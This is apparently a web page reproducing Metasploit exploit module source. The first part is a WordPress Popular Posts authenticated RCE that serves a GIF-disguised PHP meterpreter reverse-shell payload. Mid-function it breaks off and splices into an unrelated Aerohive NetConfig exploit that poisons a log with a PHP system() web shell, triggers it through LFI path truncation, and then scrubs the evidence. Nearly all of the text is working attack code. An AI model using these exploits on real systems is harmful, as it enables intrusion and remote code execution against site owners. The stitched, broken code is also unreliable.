nate158g-m-w-n-l-p-d-a-o-e

This module requires Metasploit: Current source: MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::FileDropper include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer include Msf::Exploit::Remote::HTTP::Wordpress def initialize(info = {}) super( update_info( info, 'Name' => 'Wordpress Popular Posts Authenticated RCE', 'Description' => %q{ This exploit requires Metasploit to have a FQDN and the ability to run a payload web server on port 80, 443, or 8080. The FQDN must also not resolve to a reserved address (192/172/127/10). The server must also respond to a HEAD request for the payload, prior to getting a GET request. This exploit leverages an authenticated improper input validation in Wordpress plugin Popular Posts <= 5.3.2. The exploit chain is rather complicated. Authentication is required and 'gd' for PHP is required on the server. Then the Popular Post plugin is reconfigured to allow for an arbitrary URL for the post image in the widget. A post is made, then requests are sent to the post to make it more popular than the previous #1 by 5. Once the post hits the top 5, and after a 60sec (we wait 90) server cache refresh, the homepage widget is loaded which triggers the plugin to download the payload from our server. Our payload has a 'GIF' header, and a double extension ('.gif.php') allowing for arbitrary PHP code to be executed. }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die', # msf module 'Simone Cristofaro', # edb 'Jerome Bruandet' # original analysis ], 'References' => [ [ 'EDB', '50129' ], [ 'URL', '' ], [ 'WPVDB', 'bd4f157c-a3d7-4535-a587-0102ba4e3009' ], [ 'URL', '' ], [ 'URL', '' ], [ 'CVE', '2021-42362' ] ], 'Platform' => ['php'], 'Stance' => Msf::Exploit::Stance::Aggressive, 'Privileged' => false, 'Arch' => ARCH_PHP, 'Targets' => [ [ 'Automatic Target', {}] ], 'DisclosureDate' => '2021-06-11', 'DefaultTarget' => 0, 'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp', 'WfsDelay' => 3000 # 50 minutes, other visitors to the site may trigger }, 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, CONFIG_CHANGES ], 'Reliability' => [ REPEATABLE_SESSION ] } ) ) register_options [ OptString.new('USERNAME', [true, 'Username of the account', 'admin']), OptString.new('PASSWORD', [true, 'Password of the account', 'admin']), OptString.new('TARGETURI', [true, 'The base path of the Wordpress server', '/']), # OptString.new('SRVHOSTNAME', [true, 'FQDN of the metasploit server. Must not resolve to a reserved address (192/10/127/172)', '']), # OptEnum.new('SRVPORT', [true, 'The local port to listen on.', 'login', ['80', '443', '8080']]), ] end def check return CheckCode::Safe('Wordpress not detected.') unless wordpress_and_online? checkcode = check_plugin_version_from_readme('wordpress-popular-posts', '5.3.3') if checkcode == CheckCode::Safe print_error('Popular Posts not a vulnerable version') end return checkcode end def trigger_payload(on_disk_payload_name) res = send_request_cgi( 'uri' => normalize_uri(target_uri.path), 'keep_cookies' => 'true' ) # loop this 5 times just incase there is a time delay in writing the file by the server (1..5).each do |i| print_status("Triggering shell at: #{normalize_uri(target_uri.path, 'wp-content', 'uploads', 'wordpress-popular-posts', on_disk_payload_name)} in 10 seconds. Attempt #{i} of 5") Rex.sleep(10) res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-content', 'uploads', 'wordpress-popular-posts', on_disk_payload_name), 'keep_cookies' => 'true' ) end if res && res.code == 404 print_error('Failed to find payload, may not have uploaded correctly.') end end def on_request_uri(cli, request, payload_name, post_id) if request.method == 'HEAD' print_good('Responding to initial HEAD request (passed check 1)') # according to we should have a valid Content-Length # however that seems to be calculated dynamically, as it is overwritten to 0 on this response. leaving here as notes. # also didn't want to send the true payload in the body to make the size correct as that gives a higher chance of us getting caught return send_response(cli, '', { 'Content-Type' => 'image/gif', 'Content-Length' => "GIF#{payload.encoded}".length.to_s }) end if request.method == 'GET' on_disk_payload_name = "#{post_id}_#{payload_name}" register_file_for_cleanup(on_disk_payload_name) print_good('Responding to GET request (passed check 2)') send_response(cli, "GIF#{payload.encoded}", 'Content-Type' => 'image/gif') close_client(cli) # for some odd reason we need to close the connection manually for PHP/WP to finish its functions Rex.sleep(2) # wait for WP to finish all the checks it needs trigger_payload(on_disk_payload_name) end print_status("Received unexpected #{request.method} request") end def check_gd_installed(cookie) vprint_status('Checking if gd is installed') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'), 'method' => 'GET', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_get' => { 'page' => 'wordpress-popular-posts', 'tab' => 'debug' } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 res.body.include? ' gd' end def get_wpp_admin_token(cookie) vprint_status('Retrieving wpp_admin token') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'), 'method' => 'GET', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_get' => { 'page' => 'wordpress-popular-posts', 'tab' => 'tools' } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 /<input type="hidden" id="wpp-admin-token" name="wpp-admin-token" value="([^"])/ =~ res.body Regexp.last_match(1) end def create_post(cookie) vprint_status('Creating new post') # get post ID and nonces res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'post-new.php'), 'cookie' => cookie, 'keep_cookies' => 'true' ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 /name="_ajax_nonce-add-meta" value="(?<ajax_nonce>[^"])/ =~ res.body /},"post":{"id":(?<post_id>\d*)/ =~ res.body if ajax_nonce.nil? print_error('missing ajax nonce field, attempting to re-enable. if this fails, you may need to change the interface to enable this. See . Or check (while writing a post) Options > Preferences > Panels > Additional > Custom Fields.') /name="toggle-custom-fields-nonce" value="(?<custom_nonce>[^"]?)"/)&.flatten&.first unless version return CheckCode::Detected('Could not determine Aerohive NetConfig version.') end begin if Rex::Version.new(version) <= Rex::Version.new('10.0r8a') return CheckCode::Appears("The target is Aerohive NetConfig version #{version}") else print_warning('It should be noted that it is unclear if/when this issue was patched, so versions after 10.0r8a may still be vulnerable.') return CheckCode::Safe("The target is Aerohive NetConfig version #{version}") end rescue StandardError => e return CheckCode::Unknown("Failed to obtain a valid Aerohive NetConfig version: #{e}") end end def poison_log password = rand_text_alphanumeric(8..12) @shell_cmd_name = rand_text_alphanumeric(3..6) @poison_cmd = "<?php system($_POST['#{@shell_cmd_name}']);?>" # Poison /tmp/messages print_status('Attempting to poison the log at /tmp/messages...') res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'login.php5'), 'vars_post' => { 'login_auth' => 0, 'miniHiveUI' => 1, 'authselect' => 'Name/Password', 'userName' => @poison_cmd, 'password' => password } }) unless res fail_with(Failure::Disconnected, 'Connection failed while trying to poison the log at /tmp/messages') end unless res.code == 200 && res.body.include?('cmn/redirectLogin.php5?ERROR_TYPE=MQ==') fail_with(Failure::UnexpectedReply, 'Unexpected response received while trying to poison the log at /tmp/messages') end print_status('Server responded as expected. Continuing...') end def on_new_session(session) log_cleaned = false if auto_clean_log print_status('Attempting to clean the log file at /tmp/messages...') print_warning('Please note this will render the target (temporarily) unexploitable. This state can last over an hour.') begin # We need remove the line containing the PHP system call from /tmp/messages # The special chars in the PHP syscall make it nearly impossible to use sed to replace the PHP syscall with a regular username. # Instead, let's avoid special chars by stringing together some grep commands to make sure we have the right line and then removing that entire line # The impact of using sed to edit the file on the fly and using grep to create a new file and overwrite /tmp/messages with it, is the same: # In both cases the app will likely stop writing to /tmp/messages for quite a while (could be over an hour), rendering the target unexploitable during that period. line_to_delete_file = "/tmp/#{rand_text_alphanumeric(5..10)}" clean_messages_file = "/tmp/#{rand_text_alphanumeric(5..10)}" cmds_to_clean_log = "grep #{@shell_cmd_name} /tmp/messages | grep POST | grep 'php system' > #{line_to_delete_file}; "\ "grep -vFf #{line_to_delete_file} /tmp/messages > #{clean_messages_file}; mv #{clean_messages_file} /tmp/messages; rm -f #{line_to_delete_file}" if session.type.to_s.eql? 'meterpreter' session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi' session.sys.process.execute('/bin/sh', "-c "#{cmds_to_clean_log}"") # Wait for cleanup Rex.sleep 5 # Check for the PHP system call in /tmp/messages messages_contents = session.fs.file.open('/tmp/messages').read.to_s # using =~ here produced unexpected results, so include? is used instead unless messages_contents.include?(@poison_cmd) log_cleaned = true end elsif session.type.to_s.eql?('shell') session.shell_command_token(cmds_to_clean_log.to_s) # Check for the PHP system call in /tmp/messages poison_evidence = session.shell_command_token("grep #{@shell_cmd_name} /tmp/messages | grep POST | grep 'php system'") # using =~ here produced unexpected results, so include? is used instead unless poison_evidence.include?(@poison_cmd) log_cleaned = true end end rescue StandardError => e print_error("Error during cleanup: #{e.message}") ensure super end unless log_cleaned print_warning("Could not replace the PHP system call '#{@poison_cmd}' in /tmp/messages") end end if log_cleaned print_good('Successfully cleaned up the log by deleting the line with the PHP syscal from /tmp/messages.') else print_warning("Erasing the log poisoning evidence will require manually editing/removing the line in /tmp/messages that contains the poison command:\n\t#{@poison_cmd}") print_warning('Please note that any modifications to /tmp/messages, even via sed, will render the target (temporarily) unexploitable. This state can last over an hour.') print_warning('Deleting /tmp/messages or clearing out the file may break the application.') end end def execute_command(cmd, _opts = {}) print_status('Attempting to execute the payload') send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'action.php5'), 'vars_get' => { '_action' => 'list', 'debug' => 'true' }, 'vars_post' => { '_page' => rand_text_alphanumeric(1) + '/..' * 8 + '/' * 4041 + '/tmp/messages', # Trigger LFI through path truncation @shell_cmd_name => cmd } }, 0) print_warning('In case of successful exploitation, the Aerohive NetConfig web application will hang for as long as the spawned shell remains open.') end def exploit poison_log if target.arch.first == ARCH_CMD print_status('Executing the payload') execute_command(payload.encoded) else execute_cmdstager(background: true) end endend